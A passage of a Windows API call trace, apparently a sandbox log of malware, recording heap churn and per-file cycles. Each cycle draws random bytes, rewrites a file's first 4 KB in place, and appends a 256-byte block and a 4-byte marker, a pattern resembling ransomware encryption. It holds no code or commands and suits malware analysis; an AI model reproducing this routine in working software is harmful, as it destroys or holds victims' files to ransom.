HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.218] GetProcessHeap () returned 0x540000 [0084.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.219] SetFilePointerEx (in: hFile=0x870, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.219] WriteFile (in: hFile=0x870, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.219] WriteFile (in: hFile=0x870, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.219] GetProcessHeap () returned 0x540000 [0084.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.220] GetProcessHeap () returned 0x540000 [0084.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.220] CloseHandle (hObject=0x870) returned 1 [0084.222] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 62 [0084.222] SetFilePointerEx (in: hFile=0x874, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.222] ReadFile (in: hFile=0x874, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.222] SetFilePointerEx (in: hFile=0x874, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.222] GetProcessHeap () returned 0x540000 [0084.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.222] GetProcessHeap () returned 0x540000 [0084.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.222] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.222] GetProcessHeap () returned 0x540000 [0084.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.222] ReadFile (in: hFile=0x874, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.271] SetFilePointerEx (in: hFile=0x874, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.271] WriteFile (in: hFile=0x874, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.271] GetProcessHeap () returned 0x540000 [0084.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.271] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.272] GetProcessHeap () returned 0x540000 [0084.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.273] GetProcessHeap () returned 0x540000 [0084.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.274] GetProcessHeap () returned 0x540000 [0084.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.275] GetProcessHeap () returned 0x540000 [0084.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.275] SetFilePointerEx (in: hFile=0x874, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.275] WriteFile (in: hFile=0x874, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.276] WriteFile (in: hFile=0x874, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.276] GetProcessHeap () returned 0x540000 [0084.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.276] GetProcessHeap () returned 0x540000 [0084.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.276] GetProcessHeap () returned 0x540000 [0084.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.276] CloseHandle (hObject=0x874) returned 1 [0084.276] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 63 [0084.276] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.276] ReadFile (in: hFile=0x878, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.276] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.276] GetProcessHeap () returned 0x540000 [0084.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.276] GetProcessHeap () returned 0x540000 [0084.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.276] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.276] GetProcessHeap () returned 0x540000 [0084.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.276] ReadFile (in: hFile=0x878, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.324] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.324] WriteFile (in: hFile=0x878, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.324] GetProcessHeap () returned 0x540000 [0084.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.324] GetProcessHeap () returned 0x540000 [0084.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.325] GetProcessHeap () returned 0x540000 [0084.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 